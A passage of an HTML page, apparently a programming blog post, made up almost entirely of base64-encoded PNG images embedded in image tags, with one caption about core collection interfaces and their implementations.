7jMJ1Q5R956P/ivUScVN/94oKOh9EKPi+WtRKzt7QMnjT32qQ1UhQ1VJW7B2rI785Xa6v3MrpahheBhFXojvF/3OW5WlwSHiHZXXPnczRHCTVkaCkNj/YK1ZfeOJsusT6AEO/vO5Ie1/1qjTFqMlTp18CjkGm0s8dlb90X8Uc7zp63PMz7QWV9Ra57g/6Ws7UrJKZP5vjvmR4lKFCh97t43NMG9DblceWzGYuYn59s73ihQZzCqfH3LX9wcCbtCsJOWSy9llb1r9/c01mm9dv5ALsOotumOXrE4/WNaHOu6136mSKPK0OiOvPZSXsxAKbQz/K0tfC6E4TyPBjoaXj5zy8V/nfDYTMeqjLfs6w3CiQiUJOwSxdtd3b21Ee8uuPsC57X/QBw1fnClSrct+FMCDSjQUNzsZ407tCG3TZ4ONZfsbPj0649OabZetMwFRklXHB2HVC+abPPhRy20MXkrWHiYCPvZtcqm2VtpskxGF5aQo8YbStY/askKlLyFhQh0UaHzyGdvez77gOlLT/QpznMeRQ/48Y04Sl3GkxUohcq4cAGJvjj67K37VGVXbLNR7cfXteIqFCFlmbdQxFeWE2wfWaM9UHofm5uqjIOz8X03fR+9OGdp2LrtUMeDFULI4rBp//4GyzQhhCw7uip2FTTcdrIc+93HVZm6C/1OjnBLo7/Vq/dUXfvSzXKE+DxPRh1/D5yWPH9sLX7V9mKe/0U4j/3a0fz82j85/a3hv/2hPtTY/bV7aTgw5TTA67Z/fLksX6MLnip8lShQ3HOzC868ZxmfT6iNN1SVng41F2fV/PFba8tuVbHBGrzRLPRGeL++Mjn0Z7ub5Qjxfm9+Y7vKPx2Ce2ZvK1IdMtn8Sf67nqo9B9u/WSbr/E0f1eArc5aL21UVnY5FfwNNPJgMXhtijFByrPvrjy+9olUXBq6FvL80cGHI1+jOtlse8VxyBNst5j/FHrSIHP/wT+Zj8itbb1utt42HNaojnY6ltSuE8++jnad3lvwqWPcXH3VVZema+p1ewj66eXJX/vnbbo4QbqKvVpd/5t8cHh/rtl49qo1rhDIVaONjAAAcM0lEQVRyZ2K0dsyBB3bK/vFlfW52QeA6yhso/RcSvVZdVPue5bHwXWlRgfLZ/bbCLTlNgwsk9vkY1XkEz+vAjWBNycWb9qklm1Eb+lN8o1l8DeUZaS1l9l+xLXKEEM5pPpX5SvvYxGDTfuZo98Rqx/NaDT/JLu/6GycUKPkrmFCg5JYf3TiWWdzYP8GSpSfdNVnP1feH3qiJPGq8gXL9o5asQMlfWIS6qNB5tDjefTZflf9y/bW+sIQncB6R2COUSSnjyQyU0f1f4I3zdy1Clv96s2oPk6tvuPbpyNofFbG6lnChiCrLvIUivrKcYPvIGu2Bklu0Xz24q67PGc98HRo/enHaUr+POdjhWOEWrC27g2NvvrH2FwJVhvi7ck7T4AKZtxlfZArbRp7x9Nyoc4NbGLycs/Yi/uoWbA2X+YQqW9/xILwSed32W6aThZpcfeON4bW/uiIm36jf6HMHijXneWR572yBOv/l+o6BuGPlRqrS/N1LO3af7f2eW7Aadm3Z2XR3fm3fot+I8NeDwpqL+66nKn/7+f4Zzj/r4GyPc7WV4g+U3KLtSqH/ejD0XXhx4Q2UHOu+32M8VaAOn5Em3NqEm39sea9Wl60tbegc4KlfqQiU2f9kmfOFv/3gwFh7XcFzp383+mNgv3yj7T/NCfyx5P+e7MuDCxxx99aq9wX+cIr/lnfkzsRobYHrBDtlNxurdNna0osf2lYv2BFTo/Jre53BH/B5xi3tZ4o0ufqGjoF4Akr8gZLzfDvYXp2vLm+zzxESu7tGdJ4Y57X/QAQTTIR4A6U/RO650P8DRxbG2l/JqjI7uair6eqrCQRKgQomFCgXx9r1zMEOh38A1GU+odp/yT+MwH/UIudQas70ugP/FOuoSRAoI+42RN0DDZ3VINBFhc4jslaBVdsKzvzW6vISInweEaFAmcQynsxAGdX/Bd64QNfyv7a/t2xj1EW17fdcLBera/H3f4GyHKNQrFeWE2wfWaM9UK547B+c/Vk2o9738s9fO1H52onK106cfHtwlnfMgMaPXlyZH3xzp+qV9rHJoeaS3c3WBUL4ppz7K1esaRxR50bkeRv2DdEXb+7vw6bDWaoMZm9jvys8gq8z+YZb/Oa35ZkZjKrwdfOjeMJ74lVpZc5ycXtgdunToeZiZvXum9C+8Y/z/Tj28eVX9+bpSo+9VrpPs9ZcK/ODb+5UH+t8OG5peKHQOLwYxxvnK0Zel/V60xGdRpWh2XvccOuB8Ailb3b4X/WZGYyq6Jf9k2ElaN2pTov2dn0eo9qiqzU/Dp/ElopAGXwXUYEyW5u7Jevo+6Nh0yoiJuDX9LjY8HbbcKAkwq3Nc2i4WeuVsjxGtUV34c+usDZbd2rU/Gh7RZYqg9l7oWc8Mqgl2pPXFuWo9+nfaOmyOgNvJ9Z7j+g8Mc7rmLPT4g6UhMwMNhVp9J0Pf/iPxh0vmWxzhMwmOEIpVMGEAmXUigdV3gnzhPBRW3ceHv9RS9YIpWBh4e2iQufRKq/b3t1Ykq0pedvmWRE6j/w/HHlMk1zGkxkoo/aN/40vCXSt0N8wZe++eECdfcD4pUegawW+MbLxhcvyuoVCuCwn2D6yRnug5JbGP79lNveEbrc+F5gZSedHLy5YDbu2FV38p19sXV2/HD6auGZuqLko/hFKr9WQF2uEMrq4xPjTlr8SpWiEkvuh//ye8KLgH0FJKFCy7v76/K1v9HzvJdHNtTzWqdcWnq4+nHms8+GC8IuEvFyM2yXTo7eNFVnqyuATBhIdoRT4pXIYoRQMlKe7rd1nn9uSf/KGw396zlkatuZUdH8bsZsrjo5Da4MEc0PNRRsNlH7RrZ34CCX/dSLhEcp1v0GwzyQQKGOc11IFSm75YWe5+oX/daYsS9/pWOYIefakO3oOZbHB+jRsz9kHnWXZTKXZJVjBQveQYx2d+sDPTlvq94UF1rWfiDFCyftOkzxCyRMoYxYWQqK66LqBkgSP8qE2+4LQeeT/4QRHKMWW8ZQGSv43LtS1IswNNRcxz7eO+IS71gZGKHkLBUYoqbI8O3bn9+YRD1nx2M3XugdjTGmi86MXnw41FzOqjNCkyM1+1rgj50BT73hgcYP7v0cml/wTANbmUHLstGNkIpB+uPGuctXus+Zv107TdeZQCl3AZDeHknP3ns0MmTf57H5b4Zasml43l1CgXBxr1zNb6/pnfISdun/t1HZVkcE6F/xX1t17LkvF7Gz4bG1Sd2KB0jtpvW0Zc7OEEG7+0Y2z29eWW3kfdx1ngpeccLTNoRQMlDU9Lq9n9HrVczkHLv27k+UCq51KLvcFuod3emxsYokji8Om/dt2nu91LrpHzZcPqDM2FChjtDbfubD2OrKZQxkqgUC57hzKBAKlYENx3/fV7GJUhY2WKX9f42b/clm3K2SVd3FWxY1HyxyZszRsZXae++CL4YHuhkOa4HCRQAXzp4H957v+Yrv7YWNJdnC4yDdradqpfulS7189gTXOa5WNEJnPoRQqLEJdVOA8Wpkc+mRgbNpLCCHsD1bTYY1/JqvQeUQI4f7Wpc/eXnPre55FIdTNoYwuevxvXKBrkZXJoT9axqb9V0b351fKtIXG4cWYXUu4UGAOJT/aAyW3/LCzPLOwquNrD+GWHH8yVBbtXOdxFZyP9XGE9UyMfWX/NuaS8CRKpN/4p9psCywECfB5Hn5iOKoLLs/UHmi+O0sI4ebH+9vOrq7yzi0zDAbnDnFT1rbqAnXoDA+OdVpMgReJXuUd875q5PLAyHXKtqGUrfJm3b3nssLGZZ896T6l8d8BT+SWN+f+/MrR3Ywqg1EXVr31rrFyDxOyvocb7yqPeMhl1BsPmaoVHQ6WHN3nSlafgqarbru7tlKVc9+7GljAGD4tMiBilXfUqnBv8lZ5C77BxAMlSwjrvms4oM7Rt33l4QjneXCr+XhwlSujLfn14KyPEJ9n9HrVcwyj2lZQ09Zetz8kUMa/M7Fam+9cCBO5yjtysedUSlZ5RxyIuAOl4HmdcKAUbijv467j4TdDfJ6Hn1xefUrijtV57R7HR+cCq5UN7xkP5wQvugIVbOlBd02RRpXB5B5u6TAcWX3X3JzjlqFi7zaeyra6s5GrvCPWON8dStMqb4HC4hLoogLnUdhS8W26o4ZbwdEQgfOIEMK6re8GVvRHnC+BJpO4jKc0UAq+cf6u5XN8dPpnwSujWlfR/Engg5djdK11CkXUKu+IQmEbwCpvuiyOtevzmq1rFSLmh9/Qt8p7U5KiKkmNmxkyHMyqMjvT9WQ9KSQcKEGcRAMlLbj5L1r27z5l/o7vbPB5Rm+c1WVrSy+03frmR6rOF3GBEmRZuqlCe/vQHii9j7uObz/fPxMsW9ycpTF7df5QBBpXeW9GMqtK/ie6Mdqy31jiepiAfCFQppgCA2Xg+Xz5esNnTuFxF87zaKDDdHXwB6ryJAKlWDIr3fShvX1oD5SEcw+8WaItqLxoar/e1W44X7qn4MKnAsNINK7y3oxQlZIEgTLF0JPpgkApEjq8SLS3D/WBkhCOnR3r72w11P/ifNPbv+uzC89XoHOV9+aDqpQkCJQphp5MFwRKkdDhRaK9fRQQKL1u+3/ciuuxQZSu8t50UJWSBIEyxRR4y1vREChFQukWifb2oT1QrniG3z6QWXjin39tMhoDm+kPIx6hQceVJdeDr2xBw39qe/1XfU/SMDGO9n6TVKhKSYJAmWIIlHRBoBQJpVsk2tuH9kDpsRmLw1Z5x+L/qOuwZ0loy94e4v9YneSivd8kFapSkiBQphgCJV0QKEVC6RaJ9vahPVCuzA++uefkx0/ies7T4li7PqdpcOHZ/bafnu9zLy89+rdT/3jVvpiGm96095ukQlVKEgTKFEOgpAsCpUgo3SLR3j60B0rf7N1/KVBnaPaWvla57md5Lzk6juQ0DS6Qqf5zeoN1Dqu85QlVKUkQKFMMPZkuCJQiocOLRHv70B4oE/ss7+Xx7lM7iqo6hh6YX9999F863j1fklnb49zAh7mIRXu/SSpUpSRBoEwx9GS6IFCKhA4vEu3tQ3ugDOFj47jv7fOMf9E3OL7EOodumBrrf91lTUecpL/fJBWqUpIgUKYYbnnThbpAubi4uLjI/7FwaYHSLRLt7aOAQOl1Wa83lPo/Qzb/5frrQ67oJTruQWPtidV74qGb4P3x5GIiPjUVW/iG1ktxw6Z9x5S6hTYyb6DEJqsNpTupDZj23ZP/tm4PlDPaAyW3/LCzfGv55f/3n7bRsVHbf5oNx3bqOx3LEWOV3mnHfRu/v07H/cHtAAAbFh0oATZscnLSH0FmZmbSvS8AhNAfKBfH2vVhjw3yWg0/0bePRd8F4NjpsYFPPn/8jCNkxWM3X7vR/5VzAVkSAFIDgRIkVF9X12M2f3D9eovBkO59ASCE/kD57En3qZza3qlgMORm+i9sPd41HnHXm1t6eKPquS3aVz5w+AghKx779fNl+zTqly5/NpmWOZQAAAAbc//+/XK93j+HskCnczgc6d4jAOoDJeFmP28p0RZUXmrv6u5679IJnfaA4fPZiIFH7rueKp2+7StP2Ne9zv6mgjR9ljcAAMDGlOv19+7d8//3nTt3TldXp3d/AIgCAiUhHPvUYelqM9RfaGhu/V3/2Gz0nMg5SwPPsCUhrM2UW2yyeVKzowCwmeGWN0iix2yur6sL/UpovgRIF6oDZdzTIlmbKfdFk20+8usLg5ey0/NgcwDYbBAoQTzee9wOh6NAp5PVI4RgE6I3UCY0LXLO3vrKzpP/1+b2hvz8pLXt+PYX0/PRiwCw2SBQgnjvXH3nnavvRH+9vq7ug+vXU78/AKuoDZQJTovkPKM3z7+oUe97+XS9wfiWof61klxGo3uja/RHxEkASAEEShDJPxLJ+5ygmZkZPEII0ovaQLmBaZHcgmtkoKejzWQ0mlo7ewb+y7WE5TgAkCIIlCCS/1FBQv8aPbcSIJWoDZSYFgkAAJvGvXv3yvX6GN+ARwhBelEbKDEtEgAANofFxcVyvf7+/fuxv23d0AmQPPQGSkyLBACa4JY3bBjv7eyZmZnoSZOnq6tj3BYHSB6KAyUhmBYJANRAoISNmZmZKdDp/J/cHc9WoNOle5dhM6I8UAIAUAKBEqTVYzZjMBLkA4ESACAVEChBWgiUICsIlAAAAPRBoARZQaAEAACgDwIlyAoCJQBAKuCWN0gLgRJkBYESACAVEChBWgiUICsIlAAAqYBACdJCoARZQaAEAEgFBEqQFgIlyAoCJQAAAH0QKEFWECgBAADog0AJsoJACQCQCrjlDdJCoARZQaAEAEgFBEqQFgIlyAoCJQBAKiBQgrQQKEFWECgBAFIBgRKkhUAJsoJACQAAQB8ESpAVBEoAAAD6IFCCrCBQAgCkAm55g7QQKEFWECgBAFIBgRKkhUAJsoJACQCQCgiUIC0ESpAVBEoAgFRAoARpIVCCrCBQAgAA0AeBEmQFgRIAaMWoMrAlaUv3sU0ih8OR9ubFFrE5HI509wsQC4ESAGjFKDr3pJGyG9bhcNTX1aV7L2BNfV0dAqUCIFACAK2UnXvSSNkNi0ApNwiUyoBACQC0UnbuSSNlNywCpdwgUCoDAiUA0ErZuSeNlN2wCJRyg0CpDAiUAEArZeeeNFJ2wyJQyg0CpTIgUAIArZSde9JI2Q2LQCk3CJTKgEAJALRSdu5JI2U3LAKl3CBQKgMCJQDQStm5J42U3bAIlHKDQKkMCJQAQCtl5540UnbDJhgoPTZjMaOq6XGx63yjy3xClXfCPLGBXWJtRq2q2GTzbOBnU/OCSYVAqQwIlABAq5i5xzPSWsqoStvsqbmm+mNH4GM/NHsrLn086uFS8pt5ucwnwj6JhNnXavfF/dObLFCyLnONcGT0TljeN5n+MOJZWed1JQmUrM2Um6E12lhxrykcKL1Oy2/0uUywo9Z2O5ZivxQ3bf/UfGdker08TQghEz2VeWEfgfN860gc3Q6BUhkQKAGAVrFyz7P7bYVbGNWWotb7z1KxLx6bsZjJNdpYQrj58d7LB9T7Xu+dSFukFBFuCALlxtAQKLkn3cfUB1usMxwhhHinx4bH1kuKiQx2TvRU5jGVZleCe4tAqQwIlABAK+Hcwy1YW3ZnvlJbvZ/Z1TK0sJrrJnoq85jDLV2t1QXqDEYVvHK7zCdUOUfeer/tZKFGlcEELp9Lju5zJYGxHCb/aKvVzRJuytJQqKnofsKF/KIdTZbZH9cCJSGE+6H//B7mYIdjhRDidVnfP1+iZVQZmr2VJstk4Fs8D25dekWrymDURbUtja9mFptsnvAAEX55Zp3Wa+cP5DKMapvu6BWL0xv1pucfD3Q0lF7ocbH8QYS1XSk5ZTLfd7PrBF0ESkIIcffWqoMjbatHlhB/5suru9pZU6RRZTC5h1sGf+BIaPjzOj/71YHMI1ftTzlCCOFY171r5w5pVRmMWldhtDj97c86re1nC9QZjLqw8ucHs9YJlHy90f/iTovpqE4THBT0/yxrM2pV++vfazur28aoGG2ZcdDNEkJ89tZ9qrIrttmoHsC3kz572/NM+IduH2qzL0T+pOfRQEfDy2duufgDpcdmOlZlvGV3R/XYIARKZUCgBABaCeeep0PNxVk1f/zW2rJbVWywPg1+3X9LLvtAQ7fdPWMzFocEygxGfaix+2v30rAp1x8ovZNDA3a3lxCO/f7W2a3Z5V1/4wj3zN5WpDpkss0RQgj3XU/VnoPt3yyHjlASQoj3cddxZutFy5xv+dGNY5nFjf0TLFl60l2T9Vx9v5slZM7eWq7RNfU7vYR1fmGqCOQJwUC5+KirKivw/Y9untyVf/62ey0UeN32jy+X5Wt0wbzIGygDiTNfozvbbnkU4448AmWIiCMbCJSMas+J1r6h4T5TWU7gL4dAm3/rGb1etaP08meBvxzIsqOrYldBw20ny7HffVyVqbvQ7+TIsrP3Qv5zr3/4cI5jp4bbjq8XKHl7IyFk2lK/jynrdLAcIYTzTD6Y8HCBQJnBPFfVdvsL222jXr3tUMeDFULI8l9vVu1hcvUN1z4dCU14/Dvpf7vCI5TslP3jy/rc7IKTxh77FMsfKH2e8YHOer1WXVT7nuWxh+cWOAKlMiBQAgCtBHPP/N1LO3af7f2eW7Aadm3Z2XR3PvAPEz2VeatX3zUu8wlVtr7jgeDNv9DLPPddT1X+9vP9Mxy3PHbtYObZHudyVOxYzSjzY+364FCl/xftvzQ4S7zDpt3ZgWt86DVbKFD6Rtt/mhP8ftZlrmGyLw8ucIR43fZbppOFmlx9443htaHHiDmU6jf63MELOTf/2PJerS5bW9rQOcAfKxEoQ/AHypwGyxwX/q+Bce5/bdTpqjpHVhvWN9b+gupIZ2Cq4kRPZV5O0+ACcfadyd9eb5kLvGTYLe/wQUGekeaQ0DlnMx5icvUN1/409GTtYLI2o1ala7S4ucjvJ4SdspuNVbptjLqotv2ei+WEdzJ838L2wf8i2drSix/apoJtEzGHMr+21xn8AZ9n3NJ+pkiTq2/oGIiIlQiUyoBACQC0Esg9K3OWi9szz/W5Wf9QJbP1omXOn9wE5njxz1Tzecb+cOmILmtv6Ws/L9WpVy/JK/ODb+5UH+t8OG5peKHQOLxISFTs8D7uOs5kXx5c+C5ymYL/F4X/xvUDZeQimwxGVdPj/GHYdDhLlcHsbex3LcfxjkIs2tv1eYxqi67W/Hg5MlQiUIbgD5TBzhARKJm83BxNZuW1b37kwl48/NhVml3hIS+OOZRCvZEQ1jnU2fTq3m2MapvuqOHWwzkuIgVGvGbgp6bs3RcPqLMPGL/0CO1kxL4FcbPWK2V5jGqL7sKfXWF9Z905lPOj7RVZqgxm74We8cXVryJQKgMCJQDQij/3+Ocvhl0d91zo/4EjJKFAyblvX3huz1nztyyJuiQvj3XqtYWnqw9nHut86B/HCY8d3Pd9Nbuyanrd3LSlfh9ztDtyec6cpWHtriXntRryogMl+6CzLDuwt3OWhq05Fd3fRo0nxhihFAiUGKFMYqDMO/GRpadmH/NcTddDfwJbmbNc3K6qujkRnvhXHnQe3BYcBQzpAAKBMlZvDPBOj31qOqLV/M+u8ZU4AiUhhMwNNRcxz7eO+AR2MvB2Exyh5A+UGKFUPgRKAKAVb+7h3L1nM0PmTT6731a4Jaum182RhAKlb6z9hUAS9bq/fr9qa0ZeszU46Yx1957LUjE7Gz4Lrm4ICRbslP3GLwvUpS3WaY74Zi1NO9UvXer9q4cjhHDstGNkYsGfODVlb1vd8257d2NJdmAl0JylYSuz89wHXwwPdDcc0qwOFPkXA5Vc7hufD67PHZtYWg2DmEOZgOQGSvME5xn53ck9mpJf+RdOcbOfNe7IOdDUO+5PUaz7v0cml/y3qnfU9TnnpkfNl1Y7gECgFOyNK5NDnwyMTXsJIZznwYdndvtXjAkFypXJoT9axqZZjhCOdX9+pUzrH2IX2ElCCOHGu8pVuwNZNgLmUEIIBEoAoBVf7mHdveeyCttGnq3GpWdPuk9pAnfAE7nlzU1ZrxzPV2Uwqm0FJ1vef+tkvorZ3Wz1D0hy413lYQ+5DH0OJaMtbfid1Rm4AHNzjluGir3bguuFywyDbkI41vlZS1k+o8rQ6N7ofO98YICKeBwfnStQZzCqfL3hPePhnNW95TwPbjUf16mDv6Lk14Oz4dfmyFXe4Xcwn28d8WKVNyGCgTK0uUIn/yUcKAkhnHvgzZJsTdm7do+PEJ/n4SeGtYXY2gPNd2cJ8efOyA4gdMtbqDf6HDerS7SBV95WcPLqXaeXCN/y9jk+Ov0zbXBmra6i+RNHIOHx7yQhhHBT1rbAUxHCWyYgcpV35KrwKazy3iQQKAGAVmnLPdzMkOFgVpXZKdFzJuX2uSabLFBCmiFQKgMCJQDQKh25Z2Gk9RCjYrRlv+F5EuRGIVCmEgKl3CBQKgMCJQDQStm5J42U3bAIlHKDQKkMCJQAQCtl5540UnbDIlDKDQKlMiBQAgCtlJ170kjZDYtAKTcIlMqAQAkAtFJ27kkjZTcsAqXcIFAqAwIlANBK2bknjZTdsAiUcoNAqQwIlABAK2XnnjRSdsMiUMoNAqUyIFACAK2UnXvSSNkNi0ApNwiUyoBACQC0UnbuSSNlNywCpdwgUCoDAiUA0ErZuSeNlN2wCJRyg0CpDAiUAEArJuLjqrFJt6X72CaRw+Eo1+t7zGZsMtnK9XoESgVAoAQAgE1kZmYm7REKW8Q2MzOT7n4BYiFQAgAAAIAoCJQAAAAAIAoCJQAAAACIgkAJAAAAAKIgUAIAAACAKAiUAAAAACAKAiUAAAAAiIJACQAAAACiIFACAAAAgCgIlAAAAAAgCgIlAAAAAIiCQAkAAAAAoiBQAgAAAIAoCJQAAAAAIAoCJQAAAACIgkAJAAAAAKIgUAIAAACAKAiUAAAAACAKAiUAAAAAiIJACQAAAACiIFACAAAAgCgIlAAAAAAgCgIlAAAAAIiCQAkAAAAAoiBQAgAAAIAoCJQAAAAAIAoCJQAAAACIgkAJAAAAAKIgUAIAAACAKAiUAAAAACAKAiUAAAAAiIJACQAAAACi/H+CZ+0TMpzOUAAAAABJRU5ErkJggg==" style="margin-left: auto; margin-right: auto;" width="640" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>The Core Collection Interfaces and Their Implementations</b></td></tr></tbody></table>_____________________________________________________________________________________________<br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img alt="" src="data:image/png;base64,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